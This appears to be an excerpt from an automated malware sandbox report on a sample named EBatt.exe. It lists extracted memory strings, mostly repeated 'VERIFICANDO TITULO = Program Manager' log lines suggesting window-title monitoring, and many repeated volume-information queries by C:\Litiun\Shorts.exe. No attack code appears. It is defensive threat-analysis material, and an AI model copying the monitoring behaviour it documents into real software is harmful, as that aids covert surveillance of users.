Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:20-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:06-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:44-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:14-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4521755281.000000000267D000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.00000000026CD000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.000000000264D000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: $VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:48-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:13-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:21-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:19-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:35-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:10-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:17-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:15-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:23-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:27-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:16-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:24-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:32-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:57-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:26-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:22-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:03-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:11-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:10-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:45-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4521755281.00000000026A4000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.00000000026F4000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.0000000002674000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager=
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:27-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:48-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:43-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:02-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:49-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:16-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:24-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:34-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:38-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:59-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:11-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:29-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:00-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:20-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:25-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:33-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:45-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: &12:41:04-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:37-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:22-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:31-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:14-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:18-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:46-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:47-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:13-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:32-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:36-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:28-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:21-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:39:35-VERIFICANDO TITULO = Program Manager
Queries the volume information (name, serial number etc) of a device
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Litiun\Shorts.exe Queries volume information: C:\ VolumeInformation Jump to behavior
